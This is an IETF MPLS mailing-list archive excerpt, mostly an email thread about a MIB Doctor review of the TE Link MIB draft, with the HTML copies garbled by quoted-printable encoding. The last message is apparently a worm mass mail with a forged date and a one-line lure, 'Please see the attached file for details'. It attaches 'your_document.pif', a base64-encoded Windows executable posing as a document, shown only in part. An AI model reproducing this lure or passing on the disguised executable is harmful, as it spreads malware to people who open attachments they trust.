  &nbsp; &nbsp; &nbsp; "Collection of objects for management of<BR>&gt;=20
  &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resources associated =
with TE=20
  links."<BR>&gt; &gt;&nbsp; Most OBJECT-GROUP descritpion clauses have =
similar=20
  "problem".<BR>&gt; &gt;<BR>&gt;<BR>&gt;I have updated the description =
of the=20
  groups that used the word monitoring<BR>&gt;in the=20
  description.<BR>&gt;<BR>&gt; &gt; - I see:<BR>&gt; &gt;&nbsp; &nbsp;=20
  teLinkModuleFullCompliance MODULE-COMPLIANCE<BR>&gt; &gt;&nbsp; &nbsp; =
&nbsp;=20
  STATUS current<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; DESCRIPTION<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; &nbsp; &nbsp; "Compliance statement for agents that support =
the<BR>&gt;=20
  &gt;&nbsp; &nbsp; &nbsp; &nbsp; configuration and monitoring of TE =
Link MIB=20
  module."<BR>&gt; &gt;&nbsp; &nbsp; Mmmm. I would word it a bit=20
  different:<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; "Compliance =
statement for=20
  agents that support read-create<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; =
&nbsp; so=20
  that both configuration and monitoring of TE Links can<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; &nbsp; &nbsp; be accomplished via this MIB module."<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; Matter of taste I guess.<BR>&gt; &gt;<BR>&gt;<BR>&gt;Have =
updated text=20
  accordingly.<BR>&gt;<BR>&gt; &gt; - I see:<BR>&gt; &gt;&nbsp; &nbsp;=20
  teLinkModuleReadOnlyCompliance MODULE-COMPLIANCE<BR>&gt; &gt;&nbsp; =
&nbsp;=20
  &nbsp; STATUS current<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; =
DESCRIPTION<BR>&gt;=20
  &gt;&nbsp; &nbsp; &nbsp; &nbsp; "Compliance statement for agents that =
support=20
  the<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; monitoring of TE link MIB=20
  module."<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; MODULE -- this =
module<BR>&gt;=20
  &gt;<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; -- The mandatory groups have to =
be=20
  implemented<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; -- by all devices =
supporting TE=20
  links. However, they may all<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; -- be =
supported=20
  as read-only objects in the case where manual<BR>&gt; &gt;&nbsp; =
&nbsp; &nbsp;=20
  -- configuration is unsupported.<BR>&gt; &gt;<BR>&gt; &gt;&nbsp; =
&nbsp; &nbsp;=20
  MANDATORY-GROUPS&nbsp; &nbsp; { teLinkGroup,<BR>&gt; &gt;&nbsp; &nbsp; =
&nbsp;=20
  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =
&nbsp;=20
  teLinkBandwidthGroup,<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =
&nbsp;=20
  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=20
  componentLinkBandwidthGroup }<BR>&gt; &gt;<BR>&gt; &gt;&nbsp; &nbsp; =
It seems=20
  to me that that all of those 4 comment lines are redundant.<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; The idea of the MODULE-COMPLIANCE statements is that they are=20
  both<BR>&gt; &gt;&nbsp; &nbsp; human and machine readable.<BR>&gt;=20
  &gt;<BR>&gt;<BR>&gt;I am not sure I understand why the fact that the=20
  MODULE-COMPLIANCE<BR>&gt;statements are human and machine readable =
makes these=20
  comments redundant.<BR>&gt;<BR>&gt; &gt; - I see hyphenation. That is=20
  something the RFC-Editor does not want/like.<BR>&gt;=20
  &gt;<BR>&gt;<BR>&gt;Hyphenation is done automatically with nroff. I =
don't know=20
  how to turn it<BR>&gt;off.<BR>&gt;Any idea?<BR>&gt;<BR>&gt; &gt; - =
Section 6=20
  starts with:<BR>&gt; &gt;&nbsp; &nbsp; 6.&nbsp; Brief Description of =
MIB=20
  Objects<BR>&gt; &gt;<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; Sections =
6.1-6.4=20
  describe objects pertaining to TE links.&nbsp; The MIB<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; &nbsp; &nbsp; objects were derived from the link bundling =
document=20
  [BUNDLING].<BR>&gt; &gt;&nbsp; How abaout the section 6.5-6.7 =
??<BR>&gt;=20
  &gt;<BR>&gt;<BR>&gt;I have clarified this in the text.<BR>&gt;<BR>&gt; =
&gt;=20
  Thanks,<BR>&gt; &gt; Bert<BR>&gt;<BR></P><BR><BR><A target=3D_blank=20
  href=3D"http://clients.rediff.com/signature/track_sig.asp"><IMG =
height=3D74=20
  hspace=3D0=20
  =
src=3D"http://ads.rediff.com/RealMedia/ads/adstream_nx.cgi/www.rediffmail=
.com/inbox.htm@Bottom"=20
  width=3D496 border=3D0></A> </BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_002C_01C38DD3.497DC160--


--Next_1065678422---0-203.199.83.245-9739
Content-type: message/rfc822

MIME-Version: 1.0
Message-ID: <002f01c38df4$d0eaeee0$2202a8c0@flfrd.phub.net.cable.rogers.com>
From: "Martin Dubuc" <dubuc.consulting@rogers.com>
To: "Anu  Divya" <anudivka@rediffmail.com>
Subject: Re: Re: MIB Doctor review:draft-ietf-mpls-telink-mib-03.txt
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002C_01C38DD3.497DC160"

This is a multi-part message in MIME format.

------=_NextPart_000_002C_01C38DD3.497DC160
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Anu,

You'll have to ask the working group. If the working group decide =
otherwise, I will update the MIB.

Martin
  ----- Original Message -----=20
  From: Anu Divya=20
  To: Martin Dubuc=20
  Sent: Wednesday, October 08, 2003 10:28 AM
  Subject: Re: Re: MIB Doctor review:draft-ietf-mpls-telink-mib-03.txt


  Hi,
        The Bandwidth units are in "thousand bps" and syntax is =
Unsigned32. With this we will be able to support only around 4000 =
Gigabit.
        But for optical links, the bandwidth might be greater than this. =

  Should we revisit this?

  Regards,
  Anu


  On Wed, 03 Sep 2003 Martin Dubuc wrote :
  >I will submit shortly a MIB that addresses your comments as version =
04.
  >Embedded is my
  >response to your original message. I need some feedback from you on =
the last
  >points.
  >
  >Martin
  >
  >----- Original Message -----
  > From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
  >To: "'Martin Dubuc'" <dubuc.consulting@rogers.com>; "Mpls (E-mail)"
  ><mpls@uu.net>
  >Sent: Monday, September 01, 2003 2:43 PM
  >Subject: MIB Doctor review:draft-ietf-mpls-telink-mib-03.txt
  >
  >
  > > - Interesting that title page claims that doc expires feb 2003?
  > >  You porobably mean feb 2004
  > >
  >
  >Yes.
  >
  > > - I get this WMICng warning:
  > >  W: f(telink.mi2), (1564,19) MIN-ACCESS value identical to access
  > >      specified for "teLinkBandwidthUnreserved"
  > >  Seems to me you can just remove that MIN-ACCESS from the MODULE
  > >  COMPLIANCE.
  > >
  >
  >Done.
  >
  > > - I see
  > >    TeLinkSonetSdhIndication ::=3D TEXTUAL-CONVENTION
  > >      STATUS      current
  > >      DESCRIPTION
  > >          "SONET/SDH indication type."
  > >      SYNTAX      INTEGER {
  > >                    standard(0),
  > >                    arbitrary(1)
  > >                }
  > >    Since we normallyh do not start with zero (but with 1), I =
assume
  > >    there is a reason you start with zero. Could that reason be =
described
  > >    and is there a doc that explains this, so that you refernece =
it?
  > >
  >
  >Use of zero is done to map to the message definition of the interface
  >switching capability specific information field as specified in
  >[GMPLS-OSPF]. I have explained this in the description and added =
reference
  >to the document that specifies the message format.
  >
  > > NITS:
  > >
  > > - I see
  > >    teLinkGroups
  > >        OBJECT IDENTIFIER ::=3D { teLinkConformance 1 }
  > >
  > >    teLinkCompliances
  > >        OBJECT IDENTIFIER ::=3D { teLinkConformance 2 }
  > >  Normally we do it the other way around, first Compliances, then =
Groups,
  > >  See page 35, appendix D of =
draft-ietf-ops-mib-review-guidelines-02.txt
  > >
  >
  >Done.
  >
  > > - I see in OBJECT-GROUP statement things like:
  > >      DESCRIPTION
  > >          "Collection of objects needed for the monitoring of
  > >            resources associated with TE links."
  > >  I would think the objects *at least a subset) are also usefull =
for
  > >  configuration. How about:
  > >      DESCRIPTION
  > >          "Collection of objects for management of
  > >            resources associated with TE links."
  > >  Most OBJECT-GROUP descritpion clauses have similar "problem".
  > >
  >
  >I have updated the description of the groups that used the word =
monitoring
  >in the description.
  >
  > > - I see:
  > >    teLinkModuleFullCompliance MODULE-COMPLIANCE
  > >      STATUS current
  > >      DESCRIPTION
  > >        "Compliance statement for agents that support the
  > >        configuration and monitoring of TE Link MIB module."
  > >    Mmmm. I would word it a bit different:
  > >        "Compliance statement for agents that support read-create
  > >        so that both configuration and monitoring of TE Links can
  > >        be accomplished via this MIB module."
  > >    Matter of taste I guess.
  > >
  >
  >Have updated text accordingly.
  >
  > > - I see:
  > >    teLinkModuleReadOnlyCompliance MODULE-COMPLIANCE
  > >      STATUS current
  > >      DESCRIPTION
  > >        "Compliance statement for agents that support the
  > >        monitoring of TE link MIB module."
  > >      MODULE -- this module
  > >
  > >      -- The mandatory groups have to be implemented
  > >      -- by all devices supporting TE links. However, they may all
  > >      -- be supported as read-only objects in the case where manual
  > >      -- configuration is unsupported.
  > >
  > >      MANDATORY-GROUPS    { teLinkGroup,
  > >                            teLinkBandwidthGroup,
  > >                            componentLinkBandwidthGroup }
  > >
  > >    It seems to me that that all of those 4 comment lines are =
redundant.
  > >    The idea of the MODULE-COMPLIANCE statements is that they are =
both
  > >    human and machine readable.
  > >
  >
  >I am not sure I understand why the fact that the MODULE-COMPLIANCE
  >statements are human and machine readable makes these comments =
redundant.
  >
  > > - I see hyphenation. That is something the RFC-Editor does not =
want/like.
  > >
  >
  >Hyphenation is done automatically with nroff. I don't know how to =
turn it
  >off.
  >Any idea?
  >
  > > - Section 6 starts with:
  > >    6.  Brief Description of MIB Objects
  > >
  > >        Sections 6.1-6.4 describe objects pertaining to TE links.  =
The MIB
  > >        objects were derived from the link bundling document =
[BUNDLING].
  > >  How abaout the section 6.5-6.7 ??
  > >
  >
  >I have clarified this in the text.
  >
  > > Thanks,
  > > Bert
  >




   
------=_NextPart_000_002C_01C38DD3.497DC160
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4926.2500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#fffbf0>
<DIV><FONT size=3D2>Anu,</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>You'll have to ask the working group. If the working =
group=20
decide otherwise, I will update the MIB.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Martin</FONT></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Danudivka@rediffmail.com =
href=3D"mailto:anudivka@rediffmail.com">Anu=20
  Divya</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Ddubuc.consulting@rogers.com=20
  href=3D"mailto:dubuc.consulting@rogers.com">Martin Dubuc</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, October 08, =
2003 10:28=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: Re: MIB Doctor=20
  review:draft-ietf-mpls-telink-mib-03.txt</DIV>
  <DIV><BR></DIV>
  <P>Hi,<BR>&nbsp; &nbsp; &nbsp; The Bandwidth units are in "thousand =
bps" and=20
  syntax is Unsigned32. With this we will be able to support only around =
4000=20
  Gigabit.<BR>&nbsp; &nbsp; &nbsp; But for optical links, the bandwidth =
might be=20
  greater than this. <BR>Should we revisit=20
  this?<BR><BR>Regards,<BR>Anu<BR><BR><BR>On Wed, 03 Sep 2003 Martin =
Dubuc wrote=20
  :<BR>&gt;I will submit shortly a MIB that addresses your comments as =
version=20
  04.<BR>&gt;Embedded is my<BR>&gt;response to your original message. I =
need=20
  some feedback from you on the=20
  last<BR>&gt;points.<BR>&gt;<BR>&gt;Martin<BR>&gt;<BR>&gt;----- =
Original=20
  Message -----<BR>&gt; From: "Wijnen, Bert (Bert)"=20
  &lt;bwijnen@lucent.com&gt;<BR>&gt;To: "'Martin Dubuc'"=20
  &lt;dubuc.consulting@rogers.com&gt;; "Mpls=20
  (E-mail)"<BR>&gt;&lt;mpls@uu.net&gt;<BR>&gt;Sent: Monday, September =
01, 2003=20
  2:43 PM<BR>&gt;Subject: MIB Doctor=20
  review:draft-ietf-mpls-telink-mib-03.txt<BR>&gt;<BR>&gt;<BR>&gt; &gt; =
-=20
  Interesting that title page claims that doc expires feb 2003?<BR>&gt;=20
  &gt;&nbsp; You porobably mean feb 2004<BR>&gt;=20
  &gt;<BR>&gt;<BR>&gt;Yes.<BR>&gt;<BR>&gt; &gt; - I get this WMICng=20
  warning:<BR>&gt; &gt;&nbsp; W: f(telink.mi2), (1564,19) MIN-ACCESS =
value=20
  identical to access<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; specified for=20
  "teLinkBandwidthUnreserved"<BR>&gt; &gt;&nbsp; Seems to me you can =
just remove=20
  that MIN-ACCESS from the MODULE<BR>&gt; &gt;&nbsp; COMPLIANCE.<BR>&gt; =

  &gt;<BR>&gt;<BR>&gt;Done.<BR>&gt;<BR>&gt; &gt; - I see<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; TeLinkSonetSdhIndication ::=3D TEXTUAL-CONVENTION<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; &nbsp; STATUS&nbsp; &nbsp; &nbsp; current<BR>&gt; &gt;&nbsp; =
&nbsp;=20
  &nbsp; DESCRIPTION<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =
"SONET/SDH=20
  indication type."<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; SYNTAX&nbsp; &nbsp; =
&nbsp;=20
  INTEGER {<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =
&nbsp;=20
  &nbsp; &nbsp; standard(0),<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; =
&nbsp;=20
  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; arbitrary(1)<BR>&gt; &gt;&nbsp; =
&nbsp;=20
  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>&gt; &gt;&nbsp; &nbsp; =
Since we=20
  normallyh do not start with zero (but with 1), I assume<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; there is a reason you start with zero. Could that reason be=20
  described<BR>&gt; &gt;&nbsp; &nbsp; and is there a doc that explains =
this, so=20
  that you refernece it?<BR>&gt; &gt;<BR>&gt;<BR>&gt;Use of zero is done =
to map=20
  to the message definition of the interface<BR>&gt;switching capability =

  specific information field as specified in<BR>&gt;[GMPLS-OSPF]. I have =

  explained this in the description and added reference<BR>&gt;to the =
document=20
  that specifies the message format.<BR>&gt;<BR>&gt; &gt; NITS:<BR>&gt;=20
  &gt;<BR>&gt; &gt; - I see<BR>&gt; &gt;&nbsp; &nbsp; =
teLinkGroups<BR>&gt;=20
  &gt;&nbsp; &nbsp; &nbsp; &nbsp; OBJECT IDENTIFIER ::=3D { =
teLinkConformance 1=20
  }<BR>&gt; &gt;<BR>&gt; &gt;&nbsp; &nbsp; teLinkCompliances<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; &nbsp; &nbsp; OBJECT IDENTIFIER ::=3D { teLinkConformance 2 =
}<BR>&gt;=20
  &gt;&nbsp; Normally we do it the other way around, first Compliances, =
then=20
  Groups,<BR>&gt; &gt;&nbsp; See page 35, appendix D of=20
  draft-ietf-ops-mib-review-guidelines-02.txt<BR>&gt;=20
  &gt;<BR>&gt;<BR>&gt;Done.<BR>&gt;<BR>&gt; &gt; - I see in OBJECT-GROUP =

  statement things like:<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; =
DESCRIPTION<BR>&gt;=20
  &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "Collection of objects needed =
for the=20
  monitoring of<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =
resources=20
  associated with TE links."<BR>&gt; &gt;&nbsp; I would think the =
objects *at=20
  least a subset) are also usefull for<BR>&gt; &gt;&nbsp; configuration. =
How=20
  about:<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; DESCRIPTION<BR>&gt; &gt;&nbsp; =
&nbsp;=20
  &nbsp; &nbsp; &nbsp; "Collection of objects for management of<BR>&gt;=20
  &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resources associated =
with TE=20
  links."<BR>&gt; &gt;&nbsp; Most OBJECT-GROUP descritpion clauses have =
similar=20
  "problem".<BR>&gt; &gt;<BR>&gt;<BR>&gt;I have updated the description =
of the=20
  groups that used the word monitoring<BR>&gt;in the=20
  description.<BR>&gt;<BR>&gt; &gt; - I see:<BR>&gt; &gt;&nbsp; &nbsp;=20
  teLinkModuleFullCompliance MODULE-COMPLIANCE<BR>&gt; &gt;&nbsp; &nbsp; =
&nbsp;=20
  STATUS current<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; DESCRIPTION<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; &nbsp; &nbsp; "Compliance statement for agents that support =
the<BR>&gt;=20
  &gt;&nbsp; &nbsp; &nbsp; &nbsp; configuration and monitoring of TE =
Link MIB=20
  module."<BR>&gt; &gt;&nbsp; &nbsp; Mmmm. I would word it a bit=20
  different:<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; "Compliance =
statement for=20
  agents that support read-create<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; =
&nbsp; so=20
  that both configuration and monitoring of TE Links can<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; &nbsp; &nbsp; be accomplished via this MIB module."<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; Matter of taste I guess.<BR>&gt; &gt;<BR>&gt;<BR>&gt;Have =
updated text=20
  accordingly.<BR>&gt;<BR>&gt; &gt; - I see:<BR>&gt; &gt;&nbsp; &nbsp;=20
  teLinkModuleReadOnlyCompliance MODULE-COMPLIANCE<BR>&gt; &gt;&nbsp; =
&nbsp;=20
  &nbsp; STATUS current<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; =
DESCRIPTION<BR>&gt;=20
  &gt;&nbsp; &nbsp; &nbsp; &nbsp; "Compliance statement for agents that =
support=20
  the<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; monitoring of TE link MIB=20
  module."<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; MODULE -- this =
module<BR>&gt;=20
  &gt;<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; -- The mandatory groups have to =
be=20
  implemented<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; -- by all devices =
supporting TE=20
  links. However, they may all<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; -- be =
supported=20
  as read-only objects in the case where manual<BR>&gt; &gt;&nbsp; =
&nbsp; &nbsp;=20
  -- configuration is unsupported.<BR>&gt; &gt;<BR>&gt; &gt;&nbsp; =
&nbsp; &nbsp;=20
  MANDATORY-GROUPS&nbsp; &nbsp; { teLinkGroup,<BR>&gt; &gt;&nbsp; &nbsp; =
&nbsp;=20
  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =
&nbsp;=20
  teLinkBandwidthGroup,<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =
&nbsp;=20
  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=20
  componentLinkBandwidthGroup }<BR>&gt; &gt;<BR>&gt; &gt;&nbsp; &nbsp; =
It seems=20
  to me that that all of those 4 comment lines are redundant.<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; The idea of the MODULE-COMPLIANCE statements is that they are=20
  both<BR>&gt; &gt;&nbsp; &nbsp; human and machine readable.<BR>&gt;=20
  &gt;<BR>&gt;<BR>&gt;I am not sure I understand why the fact that the=20
  MODULE-COMPLIANCE<BR>&gt;statements are human and machine readable =
makes these=20
  comments redundant.<BR>&gt;<BR>&gt; &gt; - I see hyphenation. That is=20
  something the RFC-Editor does not want/like.<BR>&gt;=20
  &gt;<BR>&gt;<BR>&gt;Hyphenation is done automatically with nroff. I =
don't know=20
  how to turn it<BR>&gt;off.<BR>&gt;Any idea?<BR>&gt;<BR>&gt; &gt; - =
Section 6=20
  starts with:<BR>&gt; &gt;&nbsp; &nbsp; 6.&nbsp; Brief Description of =
MIB=20
  Objects<BR>&gt; &gt;<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; Sections =
6.1-6.4=20
  describe objects pertaining to TE links.&nbsp; The MIB<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; &nbsp; &nbsp; objects were derived from the link bundling =
document=20
  [BUNDLING].<BR>&gt; &gt;&nbsp; How abaout the section 6.5-6.7 =
??<BR>&gt;=20
  &gt;<BR>&gt;<BR>&gt;I have clarified this in the text.<BR>&gt;<BR>&gt; =
&gt;=20
  Thanks,<BR>&gt; &gt; Bert<BR>&gt;<BR></P><BR><BR><A target=3D_blank=20
  href=3D"http://clients.rediff.com/signature/track_sig.asp"><IMG =
height=3D74=20
  hspace=3D0=20
  =
src=3D"http://ads.rediff.com/RealMedia/ads/adstream_nx.cgi/www.rediffmail=
.com/inbox.htm@Bottom"=20
  width=3D496 border=3D0></A> </BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_002C_01C38DD3.497DC160--


--Next_1065678422---0-203.199.83.245-9739--



From owner-mpls@UU.NET  Fri Oct 10 00:18:04 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA24175
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 00:18:01 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjth20170
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 04:18:08 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjth19510;
	Fri, 10 Oct 2003 04:17:50 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjtf29015
	for mpls-outgoing; Fri, 10 Oct 2003 03:59:00 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpjtf28989
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 03:58:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjtf13200
	for <mpls@uu.net>; Fri, 10 Oct 2003 03:53:05 GMT
From: dareks@nortelnetworks.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphmr25575
	for <mpls@uu.net>; Wed, 24 Sep 2003 07:24:37 GMT
Message-Id: <QQphmr25575.200309240724@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Details
Date: Fri, 1 Jan 1999 3:03:45 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_00A7C4A1"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_00A7C4A1
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_00A7C4A1
Content-Type: application/octet-stream;
	name="your_document.pif"
Content-Disposition: attachment;
	filename="your_document.pif"
Content-Transfer-Encoding: base64

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
